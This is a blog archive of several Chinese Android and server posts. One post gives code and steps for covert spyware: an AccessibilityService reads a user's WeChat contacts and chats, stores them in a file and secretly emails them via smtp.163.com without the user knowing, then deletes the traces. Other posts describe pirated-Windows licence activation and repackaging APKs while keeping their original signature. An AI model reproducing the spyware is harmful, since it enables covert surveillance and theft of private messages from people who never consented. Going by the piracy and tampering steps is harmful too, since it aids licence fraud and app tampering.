作者归档:wingyue

【笔记】Android NotificationListenerService监听短信、来电、微信、QQ等通知消息

最近和一个做手环的公司对接,封装了一堆蓝牙的接口,然后那些消息的监听什么的不给,只能自己去实现。

不得不说非常幸运,NotificationListenerService正好是API 18开始加入的,而蓝牙BLE最低支持的就是18。

根据API的描述,我们发现只需要两步就能实现通知的监听:

1、实现Service

创建一个实现NotificationListenerService的服务,如果只是监听通知的显示和取消只需要在服务里重写通知显示监听onNotificationPosted和通知移除onNotificationRemoved即可。

[java]
  1. /**
  2.  * 通知监听服务
  3.  *
  4.  * @author SJL
  5.  * @date 2017/5/22 22:21
  6.  */
  7. public class NLService extends NotificationListenerService {
  8.     @Override
  9.     public void onNotificationPosted(StatusBarNotification sbn) {
  10.         super.onNotificationPosted(sbn);
  11.     }
  12.     @Override
  13.     public void onNotificationRemoved(StatusBarNotification sbn) {
  14.         super.onNotificationRemoved(sbn);
  15.     }
  16. }

2、配置Manifest

在我们创建Service的时候,Manifest中已经有service节点的配置生成了,我们只需要配置一下权限和过滤器即可,非常方便。

[html]
  1. <service
  2.     android:name=“.NLService”
  3.     android:permission=“android.permission.BIND_NOTIFICATION_LISTENER_SERVICE”>
  4.     <intent-filter>
  5.         <action android:name=“android.service.notification.NotificationListenerService” />
  6.     </intent-filter>
  7. </service>

3、权限问题

只需要以上两步就能实现通知消息的监听确实很方便,但谷歌仍给我们留了个坑——权限问题。

与之前的悬浮窗问题一样,监听通知栏的消息也需要用户手动去授权。

判断是否已授权,使用了v7兼容库中方法,超方便

[java]
  1. /**
  2.  * 是否已授权
  3.  *
  4.  * @return
  5.  */
  6. private boolean isNotificationServiceEnable() {
  7.     return NotificationManagerCompat.getEnabledListenerPackages(this).contains(getPackageName());
  8. }

跳转通知授权界面

[java]
  1. startActivity(new Intent(“android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS”));

源码

Android开发——免Root监听微信的聊天记录(后台秘密发邮件)

1. 首先先展示一下效果图:

2. Accessibility机制

Accessibility机制之前已经介绍过了,具体可以查看Accessibility机制实现模拟点击,需要简单的配置(如设置被监听的对象为微信)和实现。此文中介绍了如何通过Accessibility自动抢红包,在这个过程中,很明显,在调用如下代码时,

[java]
  1. AccessibilityNodeInfo nodeInfo = getRootInActiveWindow();

遍历节点,再循环打印其getText()信息,便可以拿到用户通讯录以及聊天记录等信息的。

获取到这些信息后,我们可以暂时写入文件,以备发送。

[java]
  1. private void write(String info){
  2.         try{
  3.             FileOutputStream fos = openFileOutput(FILE_NAME,MODE_APPEND);
  4.             PrintStream ps = new PrintStream(fos);
  5.             ps.println(info);
  6.             ps.close();
  7.         }
  8.         catch (Exception e) {
  9.             e.printStackTrace();
  10.         }
  11.     }

当然,前提是在被监听用户在我们开启监听后聊过(或者说看到)的记录,否则用户连微信都不打开,我们是无从获取聊天记录等信息的。

本文原创,转载请注明出处:http://blog.csdn.net/seu_calvin/article/details/51917182

2. 后台秘密发邮件

当然,我们监听到这些信息,需要实时地反馈给我们。这里我们采用邮件的形式,通过后台“偷偷地”发送这些信息。

发送后台邮件需要用到三个第三方的库,分别为activation.jar,additionnal.jar,mail.jar。发送邮件的时候需要用到很多信息,包括发送邮件的服务器的IP和端口、邮件发送者的地址、邮件接收者的地址、登陆邮件发送服务器的用户名和密码、邮件主题、邮件的文本内容等等。

这里需要注意的是,我们后台发邮件需要账号密码等敏感信息,这些邮件信息,除了邮件的文本内容信息,其他的信息我们都可以在程序里面编写好,这样便可以实现在用户未知的情况下,将用户的个人隐私信息作为邮件的文本内容,从应用程序目录下的文件内取出,完成后台发送。

还有一点需要注意的是,在完成后台秘密发送的同时,需要将存放敏感信息的的文件进行删除,以此来防止部分内容的重复发送。删除之后,重新开始监听用户信息,若信息有效,便重新创建文件写入信息,当达到设定好的发送条件时,再进行后台邮件发送,以此循环,来达到一直监听的目的。具体的发送时机,删除暂时保存数据的文件的时机等等,可以自定义实现。

核心代码展示如下:

[java]
  1. //发送邮件
  2. MailSenderInfo mailInfo = new MailSenderInfo();
  3. mailInfo.setMailServerHost(“smtp.163.com”);
  4. mailInfo.setMailServerPort(“25”);
  5. mailInfo.setValidate(true);
  6. mailInfo.setUserName(userid);  //你的邮箱地址
  7. mailInfo.setPassword(password);//您的邮箱密码
  8. mailInfo.setFromAddress(from);
  9. mailInfo.setToAddress(to);
  10. mailInfo.setSubject(subject);
  11. mailInfo.setContent(read());
  12. //这个类主要来发送邮件
  13. SimpleMailSender sms = new SimpleMailSender();
  14. //发送文体格式
  15. sms.sendTextMail(mailInfo);

 

其中SimpleMailSender类展示如下,MyAuthenticator类需要继承Authenticator类,主要是在getPasswordAuthentication()方法中返回封装好的类型为PasswordAuthentication的鉴权结果即可。

[java]
  1. public class SimpleMailSender
  2. {
  3.     /**
  4.      * 以文本格式发送邮件
  5.      * @param mailInfo 待发送的邮件的信息
  6.      */
  7.     public boolean sendTextMail(MailSenderInfo mailInfo){
  8.         // 判断是否需要身份认证
  9.         MyAuthenticator authenticator = null;
  10.         Properties pro = mailInfo.getProperties();
  11.         if (mailInfo.isValidate())
  12.         {
  13.             // 如果需要身份认证,则创建一个密码验证器
  14.             authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword());
  15.         }
  16.         // 根据邮件会话属性和密码验证器构造一个发送邮件的session
  17.         Session sendMailSession = Session.getDefaultInstance(pro,authenticator);
  18.         try
  19.         {
  20.             // 根据session创建一个邮件消息
  21.             Message mailMessage = new MimeMessage(sendMailSession);
  22.             // 创建邮件发送者地址
  23.             Address from = new InternetAddress(mailInfo.getFromAddress());
  24.             // 设置邮件消息的发送者
  25.             mailMessage.setFrom(from);
  26.             // 创建邮件的接收者地址,并设置到邮件消息中
  27.             Address to = new InternetAddress(mailInfo.getToAddress());
  28.             mailMessage.setRecipient(Message.RecipientType.TO,to);
  29.             // 设置邮件消息的主题
  30.             mailMessage.setSubject(mailInfo.getSubject());
  31.             // 设置邮件消息发送的时间
  32.             mailMessage.setSentDate(new Date());
  33.             // 设置邮件消息的主要内容
  34.             String mailContent = mailInfo.getContent();
  35.             mailMessage.setText(mailContent);
  36.             // 发送邮件
  37.             Transport.send(mailMessage);
  38.         }
  39.         catch (MessagingException ex){
  40.             ex.printStackTrace();
  41.         }
  42.         return false;
  43.     }
  44. }

MailSenderInfo类展示如下。

[java]
  1. public class MailSenderInfo {
  2.     // 发送邮件的服务器的IP和端口
  3.     private String mailServerHost = Constant.SERVICE_IP;
  4.     private String mailServerPort = Constant.SERVICE_PORT;//一般为25
  5.     // 邮件发送者的地址
  6.     private String fromAddress;
  7.     // 邮件接收者的地址
  8.     private String toAddress;
  9.     // 登陆邮件发送服务器的用户名和密码
  10.     private String userName;
  11.     private String password;
  12.     // 是否需要身份验证
  13.     private boolean validate = true;
  14.     // 邮件主题
  15.     private String subject;
  16.     // 邮件的文本内容
  17.     private String content;
  18.     /**
  19.      * 获得邮件会话属性
  20.      */
  21.     public Properties getProperties() {
  22.         Properties p = new Properties();
  23.         p.put(“mail.smtp.host”this.mailServerHost);
  24.         p.put(“mail.smtp.port”this.mailServerPort);
  25.         p.put(“mail.smtp.auth”“true”);
  26.         return p;
  27.     }
  28.     public String getMailServerHost() {
  29.         return mailServerHost;
  30.     }
  31.     public void setMailServerHost(String mailServerHost) {
  32.         this.mailServerHost = mailServerHost;
  33.     }
  34.     public String getMailServerPort() {
  35.         return mailServerPort;
  36.     }
  37.     public void setMailServerPort(String mailServerPort) {
  38.         this.mailServerPort = mailServerPort;
  39.     }
  40.     public boolean isValidate() {
  41.         return validate;
  42.     }
  43.     public void setValidate(boolean validate) {
  44.         this.validate = validate;
  45.     }
  46.     public String getFromAddress(){
  47.         return fromAddress;
  48.     }
  49.     public void setFromAddress(String fromAddress){
  50.         this.fromAddress = fromAddress;
  51.     }
  52.     public String getPassword(){
  53.         return password;
  54.     }
  55.     public void setPassword(String password){
  56.         this.password = password;
  57.     }
  58.     public String getToAddress(){
  59.         return toAddress;
  60.     }
  61.     public void setToAddress(String toAddress){
  62.         this.toAddress = toAddress;
  63.     }
  64.     public String getUserName(){
  65.         return userName;
  66.     }
  67.     public void setUserName(String userName){
  68.         this.userName = userName;
  69.     }
  70.     public String getSubject(){
  71.         return subject;
  72.     }
  73.     public void setSubject(String subject){
  74.         this.subject = subject;
  75.     }
  76.     public String getContent(){
  77.         return content;
  78.     }
  79.     public void setContent(String textContent){
  80.         this.content = textContent;
  81.     }
  82. }

Android开发——Accessibility机制实现模拟点击(微信自动抢红包实现)

1. 何为Accessibility机制

许多Android使用者因为各种情况导致他们要以不同的方式与手机交互。对于那些由于视力、听力或其它身体原因导致不能方便使用Android智能手机的用户,Android提供了Accessibility功能和服务帮助这些用户更加简单地操作设备,包括文字转语音、触觉反馈、手势操作、轨迹球和手柄操作。开发者可以搭建自己的Accessibility服务,这可以加强应用的可用性,例如声音提示,物理反馈,和其他可选的操作模式。

随着Android系统版本的迭代,Accessibility功能也越来越强大,它能实时地获取当前操作应用的窗口元素信息,并能够双向交互,既能获取用户的输入,也能对窗口元素进行操作,比如点击按钮。Accessibility功能在使用时需要经过用户授权,如果用户拒绝授权,应用将无法实现本身的功能。

需要注意的是,此机制是免Root的,并且需要API14以上。以前做过的一个微信抢红包的小项目就是基于此机制实现的。这里稍微讲一下实现过程。

本文原创,转载请注明出处:http://blog.csdn.net/seu_calvin/article/details/51912738

2. 我们要利用Accessibility机制里的哪些功能实现模拟点击

2.1 我们要使用的Accessibility机制中最常用的三个功能:

(1)拿到用户在指定APP里完成比如点击,滑动,或是屏幕内容变化等用户不可控的情况下的一些回调方法。

拿到这些回调的目的,在本例就是作为触发条件。我们不可能写一个线程,每时每刻都去关注界面上有没有红包,这样做不仅浪费用户的电量,而且可能会造成卡顿。

(2)获取当前操作应用的窗口元素信息

说白了为了点击,我们得知道根据什么去选择点哪个View,当然要提前拿到用户当前界面的一些View的信息。(包括一些TextView,ImageButton等,图片和视频是无法获得的。)我们可以拿到TextView和Button上的文本信息。这对于我们来说很关键。并且提供了筛选的功能,有两种筛选的方式,一种是通过文字内容,即List<AccessibilityNodeInfo> list = nodeInfo.findAccessibilityNodeInfosByText(), 另一种是通过View的ID,List<AccessibilityNodeInfo> list = nodeInfo.findAccessibilityNodeInfosByViewId()。返回的都是AccessibilityNodeInfo的节点集合。

(3)模拟点击

当我们找到目标View的时候,即可实现点击。其实就是一句话。n.performAction(AccessibilityNodeInfo.ACTION_CLICK)。

当然一般的TextView点不点也没什么效果。一般Button,ImageButton,还有大部分APP里面的最下面一栏ViewGrope里的选项按钮也是可以点的。

(这里可能有人要说了,能点的东西好少啊。但毕竟是免Root的,微信红包这种还是可以完成自动点击的,其实这个机制最恐怖的是上面所说的第一个功能,获取当前界面的部分View信息。如果抢红包App里加上几句恶意代码,拿到用户通讯录,聊天记录等极其私人的信息也是可以的。后面再把获取用户隐私信息的过程写一下吧,,这篇重点是Accessibility机制下的模拟点击)。

如果想点击屏幕上的任何一个位置,是需要Root的,在这篇文章有所介绍Android开发——后台获取用户点击位置坐标(可获取用户支付宝密码)

3. 我们如何使用Accessibility机制

3.1 首先我们需要定义自己的类,并继承AccessibilityService类

[java]
  1. public class MyAccessibility extends AccessibilityService {
  2.     private static final String TAG = “MyAccessibility”;
  3.     @SuppressLint(“NewApi”)
  4.     @Override
  5.     public void onAccessibilityEvent(AccessibilityEvent event) {
  6.         // TODO Auto-generated method stub
  7.         int eventType = event.getEventType();
  8.         String eventText = “”;
  9.         Log.i(TAG, “==============Start====================”);
  10.         switch (eventType) {
  11.         case AccessibilityEvent.TYPE_VIEW_CLICKED:
  12.             eventText = “TYPE_VIEW_CLICKED”;
  13.             break;
  14.         case AccessibilityEvent.TYPE_VIEW_LONG_CLICKED:
  15.             eventText = “TYPE_VIEW_LONG_CLICKED”;
  16.             break;
  17.         case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED:
  18.             eventText = “TYPE_WINDOW_STATE_CHANGED”;
  19.             break;
  20.         case AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED:
  21.             eventText = “TYPE_NOTIFICATION_STATE_CHANGED”;
  22.             break;
  23.         case AccessibilityEvent.CONTENT_CHANGE_TYPE_SUBTREE:
  24.             eventText = “CONTENT_CHANGE_TYPE_SUBTREE”
  25.             break;
  26.         }
  27.         Log.i(TAG, eventText);
  28.         Log.i(TAG, “=============END=====================”);
  29.     }
  30.     @Override
  31.     public void onInterrupt() {
  32.         // TODO Auto-generated method stub
  33.     }
  34. }

通过这个类的onAccessibilityEvent方法,我们可以拿到用户在指定APP里完成比如点击,滑动,或是屏幕内容变化等用户不可控的情况下的一些回调方法,这里就作为上面所说的触发条件。这里我们选择TYPE_NOTIFICATION_STATE_CHANGED作为判断红包消息通知到来的触发条件,每当通知到来,我们就拿到List<CharSequence> texts = event.getText()通知栏上的text,再去循环判断是否含有“微信红包”字样即可。如果含有,就通过如下代码打开通知栏。

[java]
  1. Notification notification = (Notification) event.getParcelableData();
  2. notification.contentIntent.send();

3.2 接着我们监听CONTENT_CHANGE_TYPE_SUBTREE或TYPE_WINDOW_STATE_CHANGED作为进入聊天界面的触发条件。接着根据View上的内容找到一组可以点击的View的集合。再通过for循环去选择点击最后一个红包,这里必须点一个,因为不能做到循环点击的话,因为我们无法点击返回的按钮,所以最好选择点最后一个,如果界面上不只有一个红包的话。这样点进去之后,继续调用getRootInActiveWindow()并拿到含有“拆红包”字样的节点点击即可。点击之后会停顿在领取成功的界面,这时,是不用管的,因为下一个微信红包到来,会继续从点击通知栏进入循环。

[java]
  1. AccessibilityNodeInfo nodeInfo = getRootInActiveWindow();
  2. List<AccessibilityNodeInfo> wxList = nodeInfo.findAccessibilityNodeInfosByText(“领取红包”);

3.3 最后要在Manifest.xml中配置我们的服务。

[java]
  1. <service
  2.    android:name=“.MyAccessibility <span style=”font-family: ‘Microsoft YaHei’;“>”</span>
  3.    android:enabled=“true”
  4.    android:exported=“true”
  5.    android:label=“@string/app_name”
  6.    android:permission=“android.permission.BIND_ACCESSIBILITY_SERVICE” >
  7.    <intent-filter>
  8.        <action android:name=“android.accessibilityservice.AccessibilityService” />
  9.    </intent-filter>
  10.    //这个声明是对这个AccessibilityService的配置
  11.    <meta-data
  12.        android:name=“android.accessibilityservice”
  13.        android:resource=“@xml/qianghongbao_service_config” />
  14. lt;/service>

3.4 其中xml/qianghongbao_service_config是做了初始化的工作,具体实现如下。

[java]
  1. <?xml version=“1.0” encoding=“utf-8”?>
  2. <accessibility-service xmlns:android=“http://schemas.android.com/apk/res/android”
  3.     android:accessibilityEventTypes=“typeAllMask”
  4.     android:accessibilityFeedbackType=“feedbackGeneric”
  5.     android:accessibilityFlags=“flagDefault”
  6.     android:canRetrieveWindowContent=“true”
  7.     android:description=“@string/accessibility_description”
  8.     android:notificationTimeout=“50”
  9.     android:packageNames=“com.tencent.mm” />
  10.     <!–typeAllMask是设置响应事件的类型,typeAllMask当然就是响应所有类型的事件–>
  11.     <!–feedbackGeneric是设置回馈给用户的方式,有语音播出和振动。可以配置一些TTS引擎,让它实现发音。–>
  12.     <!–com.tencent.mm微信的包名,便可以监听微信产生的事件–>

 

最后需要注意的是:

(1)微信必须开通知栏的设置。

(2)微信高版本测试失败,会卡在拆红包的地方。如果不介意可以尝试比较低的微信版本。我的百度网盘里有一个备份的比较低版本的微信apk包,亲测有效。http://pan.baidu.com/s/1skTw7yH

(3)手机必须是API14以上,一般是都满足的。

(4)很明显,在getRootInActiveWindow()时,遍历节点,再循环打印其getText()信息,是可以拿到用户通讯录以及聊天记录等信息的。但是拿到隐私需要“偷偷地”发送给作为“监听者”的我们,后面会专门写文介绍这个过程。

(5)nodeInfo.findAccessibilityNodeInfosByViewId()这个功能我们在本例中没有用到,其实也是很有用的,有些ImageButton上可能没有text内容,但是可以通过反编译apk文件拿到View的ID即可获取到这个节点。(这里需要注意的是,如果你想点击百度云的文件列表上的View,通过反编译是无法拿到他的ID的,因为如果你有开发经验,列表的适配器都是通过getView()去加载一个子布局,这样具体的某一行Item是不存在id这个概念的。)

(6)如果想点击屏幕上的任何一个位置,是需要Root的,这个后面会写文介绍。

Android几行代码实现实时监听微信聊天

实现效果:

实时监听当前聊天页面的最新一条消息,如图:

          

 

实现原理:

同样是利用AccessibilityService辅助服务,关于这个服务类还不了解的同学可以先看下我上一篇关于抢红包的博客,原理都一样:

http://www.cnblogs.com/cxk1995/p/6363574.html

1.首先我们先来看一下微信聊天界面的布局,查看方法:

AndroidStudio–Tools–Android–Android Device Monitor,点击:

 

2.如图我们可以看到,其实每一条微信聊天记录都是一个RelativeLayout:

 

3.再往下看,我们又可以发现,其实每一个RelativeLayout下面,又包含了一个TextView,还有一个LinearLayout

TextView就是聊天的时间

LinearLayout下则包含了我们所需要的聊天对象以及聊天信息,目前我们只需要这个就行了。

 

4.分析完后,我们思路就有了:

首先遍历获取每个RelativeLayout下的LinearLayout,因为该LinearLayout存在resource-id(com.tencent.mm:id/o),所以我们可以很容易可以获取到,然后我们再在LinearLayout中查找含有聊天对象(resource-id:com.tencent.mm:id/i_)以及聊天内容(resource-id:com.tencent.mm:id/ib)。

注:关于resource-id直接在上一步的查看布局下发可看到,因为resource-id随着版本的迭代可能会发生改变,所以也导致了一些不稳定因素。

 

核心代码

代码不多,也加了注释,直接看代码即可:

package com.cxk.wechatlog;

import android.accessibilityservice.AccessibilityService;
import android.content.Intent;
import android.text.TextUtils;
import android.util.Log;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import android.widget.Toast;

import java.util.List;

/**
 * Created by cxk on 2017/2/4.
 * email:[email protected]
 * <p>
 * 获取即时微信聊天记录服务类
 */

public class WeChatLogService extends AccessibilityService {

    /**
     * 聊天对象
     */
    private String ChatName;
    /**
     * 聊天最新一条记录
     */
    private String ChatRecord = "test";

    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        int eventType = event.getEventType();
        switch (eventType) {
            //每次在聊天界面中有新消息到来时都出触发该事件
            case AccessibilityEvent.TYPE_VIEW_SCROLLED:
                //获取当前聊天页面的根布局
                AccessibilityNodeInfo rootNode = getRootInActiveWindow();
                //获取聊天信息
                getWeChatLog(rootNode);
                break;
        }

    }

    /**
     * 遍历
     *
     * @param rootNode
     */

    private void getWeChatLog(AccessibilityNodeInfo rootNode) {
        if (rootNode != null) {
            //获取所有聊天的线性布局
            List<AccessibilityNodeInfo> listChatRecord = rootNode.findAccessibilityNodeInfosByViewId("com.tencent.mm:id/o");
            if(listChatRecord.size()==0){
                return;
            }
            //获取最后一行聊天的线性布局(即是最新的那条消息)
            AccessibilityNodeInfo finalNode = listChatRecord.get(listChatRecord.size() - 1);
            //获取聊天对象list(其实只有size为1)
            List<AccessibilityNodeInfo> imageName = finalNode.findAccessibilityNodeInfosByViewId("com.tencent.mm:id/i_");
            //获取聊天信息list(其实只有size为1)
            List<AccessibilityNodeInfo> record = finalNode.findAccessibilityNodeInfosByViewId("com.tencent.mm:id/ib");
            if (imageName.size() != 0) {
                if (record.size() == 0) {
                    //判断当前这条消息是不是和上一条一样,防止重复
                    if (!ChatRecord.equals("对方发的是图片或者表情")) {
                        //获取聊天对象
                        ChatName = imageName.get(0).getContentDescription().toString().replace("头像", "");
                        //获取聊天信息
                        ChatRecord = "对方发的是图片或者表情";

                        Log.e("AAAA", ChatName + ":" + "对方发的是图片或者表情");
                        Toast.makeText(this, ChatName + ":" + ChatRecord, Toast.LENGTH_SHORT).show();
                    }
                } else {
                    //判断当前这条消息是不是和上一条一样,防止重复
                    if (!ChatRecord.equals(record.get(0).getText().toString())) {
                        //获取聊天对象
                        ChatName = imageName.get(0).getContentDescription().toString().replace("头像", "");
                        //获取聊天信息
                        ChatRecord = record.get(0).getText().toString();

                        Log.e("AAAA", ChatName + ":" + ChatRecord);
                        Toast.makeText(this, ChatName + ":" + ChatRecord, Toast.LENGTH_SHORT).show();
                    }
                }
            }
        }
    }

    /**
     * 必须重写的方法:系统要中断此service返回的响应时会调用。在整个生命周期会被调用多次。
     */
    @Override
    public void onInterrupt() {
        Toast.makeText(this, "我快被终结了啊-----", Toast.LENGTH_SHORT).show();
    }

    /**
     * 服务开始连接
     */
    @Override
    protected void onServiceConnected() {
        Toast.makeText(this, "服务已开启", Toast.LENGTH_SHORT).show();
        super.onServiceConnected();
    }

    /**
     * 服务断开
     *
     * @param intent点击打开链接
     * @return
     */
    @Override
    public boolean onUnbind(Intent intent) {
        Toast.makeText(this, "服务已被关闭", Toast.LENGTH_SHORT).show();
        return super.onUnbind(intent);
    }
}

 

使用方法:

设置-辅助功能-无障碍-点击WeChatLog开启即可

 

写在最后:

个人兴趣研究,不建议用在非法途径上!!Demo想要的话留言我发给你嘻嘻….

原文:

Android几行代码实现实时监听微信聊天

VULTR各节点测试地址[官方]

Location
地理位置
Hostname
官方测试服务器ip
Download Test File
下载测试文件
(Asia)Tokyo, Japan[日本 东京] hnd-jp-ping.vultr.com 100Mb 1000Mb
Singapore[新加坡] sgp-ping.vultr.com 100Mb 1000Mb
(AU) Sydney, Australia[悉尼] syd-au-ping.vultr.com 100Mb 1000Mb
(EU) Frankfurt, DE[德国 法兰克福] fra-de-ping.vultr.com 100Mb 1000Mb
(EU) Amsterdam, NL[荷兰 阿姆斯特丹] ams-nl-ping.vultr.com 100Mb 1000Mb
(EU) London, UK[英国 伦敦] lon-gb-ping.vultr.com 100Mb 1000Mb
(EU) Paris, France[法国 巴黎] par-fr-ping.vultr.com 100Mb 1000Mb
Seattle, Washington[美东 华盛顿州 西雅图] wa-us-ping.vultr.com 100Mb 1000Mb
Silicon Valley, Ca[美西 加州 硅谷] sjo-ca-us-ping.vultr.com 100Mb 1000Mb
Los Angeles, Ca[美西 加州 洛杉矶(推荐)] lax-ca-us-ping.vultr.com 100Mb 1000Mb
Chicago, Illinois[美东 芝加哥] il-us-ping.vultr.com 100Mb 1000Mb
Dallas, Texas[美中 德克萨斯州 达拉斯] tx-us-ping.vultr.com 100Mb 1000Mb
New York / New Jersey[美东 新泽西] nj-us-ping.vultr.com 100Mb 1000Mb
Atlanta, Georgiaa[美东 乔治亚州 亚特兰大] ga-us-ping.vultr.com 100Mb 1000Mb
Miami, Florida[美东 佛罗里达州 迈阿密] fl-us-ping.vultr.com 100Mb 1000Mb

如何在 CentOS 7上部署 Google BBR

轉貼來源
https://www.vultr.com/docs/how-to-deploy-google-bbr-on-centos-7

 

BBR(瓶頸帶寬和 RTT)是一種新的擁塞控制算法,由 Google 提供給 Linux 內核 TCP 堆棧。
使用 BBR,Linux 服務器可以顯著增加吞吐量並減少連接的延遲。
此外,由於該算法只需要在發送方更新,而不是在網絡中或在接收端,所以很容易部署 BBR。

在本文中,我將向您展示如何在 Vultr CentOS 7 KVM 服務器實例上部署 BBR。

先決條件

Vultr CentOS 7 x64 服​​務器實例。
一個 sudo 用戶。
第1步:使用ELRepo RPM存儲庫升級內核

為了使用 BBR,您需要將 CentOS 7 機器的內核升級到 4.9.0。您可以使用 ELRepo RPM 存儲庫輕鬆完成此操作。

升級之前,您可以查看當前的內核:
uname -r

這個命令應該輸出一個類似於:

3.10.0-514.2.2.el7.x86_64

如你所見,目前的內核是 3.10.0。

安裝 ELRepo repo:
sudo rpm --import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org
sudo rpm -Uvh http://www.elrepo.org/elrepo-release-7.0-2.el7.elrepo.noarch.rpm

使用ELRepo repo安裝4.9.0內核:
sudo yum --enablerepo=elrepo-kernel install kernel-ml -y

確認結果:
rpm -qa | grep kernel

如果安裝成功,您應該 kernel-ml-4.9.0-1.el7.elrepo.x86_64 在輸出列表中看到:

kernel-ml-4.9.0-1.el7.elrepo.x86_64
kernel-3.10.0-514.el7.x86_64
kernel-tools-libs-3.10.0-514.2.2.el7.x86_64
kernel-tools-3.10.0-514.2.2.el7.x86_64
kernel-3.10.0-514.2.2.el7.x86_64

現在,您需要通過設置默認的 grub2 引導項來啟用 4.9.0 內核。

顯示grub2菜單中的所有條目:
sudo egrep ^menuentry /etc/grub2.cfg | cut -f 2 -d \'

結果應該類似於:

CentOS Linux 7 Rescue a0cbf86a6ef1416a8812657bb4f2b860 (4.9.0-1.el7.elrepo.x86_64)
CentOS Linux (4.9.0-1.el7.elrepo.x86_64) 7 (Core)
CentOS Linux (3.10.0-514.2.2.el7.x86_64) 7 (Core)
CentOS Linux (3.10.0-514.el7.x86_64) 7 (Core)
CentOS Linux (0-rescue-bf94f46c6bd04792a6a42c91bae645f7) 7 (Core)

由於 0 行計數開始,4.9.0 內核條目位於第二行,請將默認引導項設置為 1:
sudo grub2-set-default 1

重啟系統:
sudo shutdown -r now

當服務器重新聯機時,請重新登錄並重新運行 uname 命令,以確認您正在使用正確的內核:
uname -r

你應該看到如下結果:

4.9.0-1.el7.elrepo.x86_64

步驟2:啟用 BBR

為了啟用 BBR 算法,您需要修改 sysctl 配置如下:
echo 'net.core.default_qdisc=fq' | sudo tee -a /etc/sysctl.conf
echo 'net.ipv4.tcp_congestion_control=bbr' | sudo tee -a /etc/sysctl.conf
sudo sysctl -p

現在,您可以使用以下命令確認啟用 BBR:
sudo sysctl net.ipv4.tcp_available_congestion_control

輸出應該類似於:

net.ipv4.tcp_available_congestion_control = bbr cubic reno

接下來,驗證:
sudo sysctl -n net.ipv4.tcp_congestion_control

輸出應為:

bbr

最後,檢查內核模塊是否加載:
lsmod | grep bbr

輸出將類似於:

tcp_bbr 16384 0

步驟3(可選):測試網絡性能提升

為了測試 BBR 的網絡性能增強,您可以在 Web 服務器目錄中創建一個文件進行下載,然後從台式機上的 Web 瀏覽器測試下載速度。
sudo yum install httpd -y
sudo systemctl start httpd.service
sudo firewall-cmd --zone=public --permanent --add-service=http
sudo firewall-cmd --reload
cd /var/www/html
sudo dd if=/dev/zero of=500mb.zip bs=1024k count=500

最後,http://[your-server-IP]/500mb.zip 從桌面計算機上的 Web 瀏覽器訪問 URL,然後評估下載速度。

 


 

下載 speedtest 測速文件
wget -O speedtest-cli https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.py
chmod +x speedtest-cli

執行 speedtest 就近測速,並產生結果分享圖
./speedtest-cli --share

或是查找其他國家地區的代號
./speedtest-cli --list | grep Taiwan 台灣
./speedtest-cli --list | grep Taipei 台北

指定的伺服器測速,並產生結果分享圖
./speedtest-cli --server=3967 --share

Windows激活之路:巧用Win7为Win10申请数字许可证激活

Windows激活之路:巧用Win7为Win10申请数字许可证激活

利用Windows 7 给 Windows 10 洗白的方法,博主介绍了挺多了。

Windows激活之路:盗版Windows 7 升级到 Windows 10专业版

Windows激活之路:盗版升级到正版方法(已失效)

本文再给大家介绍一种方法,略有点麻烦!喜欢折腾的大佬可以参考一下!!

如果懒的折腾可以淘宝上直接花几块钱买一个激活码。

 

操作步骤

 

1)首先保证你的当前win7是永久激活状态的(盗版正版无所谓都可以,激活工具网上一大把)
2)然后下载和你当前win7版本对应的win10镜像,(纯净版官方原版镜像可以去i tell you下载)
3)在 Win10 镜像里的 Sources 文件夹下找到名为「gatherosstate.exe」复制到Win7的电脑运行 稍等片刻,会生成一个「GenuineTicket.xml」的文件 保存这个文件

 

4)然后正常方法安装Win10系统,安装过程中无需输入序列号 直接跳过。

 

5)安装完成后按将上面生成的「GenuineTicket.xml」复制到 ProgramData\Microsoft\Windows\ClipSVC\GenuineTicket

PS: 找不到目录?可以按下图操作搜索一下!

 

 

6)放入此文件夹中之后重启系统完成激活!

 

特别提醒

1)如果你Win7是家庭版 那么win10也要装家庭版 ,win7是旗舰版或专业版 win10就要装Win10专业版!

2)该方式激活的Win10 是永久激活,重装系统后自动激活系统。

3)获取「GenuineTicket.xml」后,可以升级安装Win10 ,也可以格式化后全新新安装Win10!

 

 

 

相关资源

Win 7 专业版:ed2k://|file|cn_windows_7_professional_x64_dvd_x15-65791.iso|3341268992|3474800521D169FBF3F5E527CD835156|/

 

Win10专业版:ed2k://|file|cn_windows_10_multiple_editions_version_1703_updated_march_2017_x64_dvd_10194190.iso|458

Android 不修改签名的情况下重新打包apk文件

一般使用Apktool反编译apk后,再重新打包需要重新签名apk文件,这样就修改了原有的签名,也就是所谓的山寨。那么怎么可以不修改原有的签名呢?

file SystemUI.apk

输出:SystemUI.apk: Zip archive data, at least v2.0 to extract

看到没,这哥们就是一个zip压缩文件。。。

那好办!

先解压:

mkdir -m 777 SystemUI

cd SystemUI

unzip ../SystemUI.apk

解压到当前目录了,当你修改后,替换掉里面的文件,注意不要改动META-INF文件夹,因为这里存的就是签名信息。

压缩成apk:

zip -r SystemUI.apk ./*

新生成的apk就没有改变它之前的签名了,还是原装正版,爽否?

就连系统签名的apk都可以原封不动的破解后再烧回手机。。。

还有一种方法更变态,直接用好压软件打开,拖拽的方式替换里面的文件,签名原封不动,霸气!

唉!只能感慨android的开放和java的强大!

从 wireshark 抓包开始学习 https

导语

目前互联网大量web的应用层协议从http迁移到了https,https已经在越来越多的场合替换http协议。近期由于业务需要,我们通过Wireshark对https的请求进行了一次抓包分析,同时也了解了更多https相关知识,整理出来和大家一起学习。

一、概述

到底什么是HTTPS呢?简单而言,HTTPS是使用TLS/SSL加密的HTTP协议。HTTP协议通过明文进行信息传输,存在信息窃听、信息篡改和身份冒充的风险,而协议TLS/SSL具有信息加密、完整性校验和身份验证的功能,可以避免此类问题。

TLS/SSL全称为:安全传输层协议(Transport Layer Security),是介于TCP和HTTP之间的一层安全协议,不影响原有的TCP协议和HTTP协议,所以使用HTTPS基本上不需要对HTTP页面进行太多的改造。

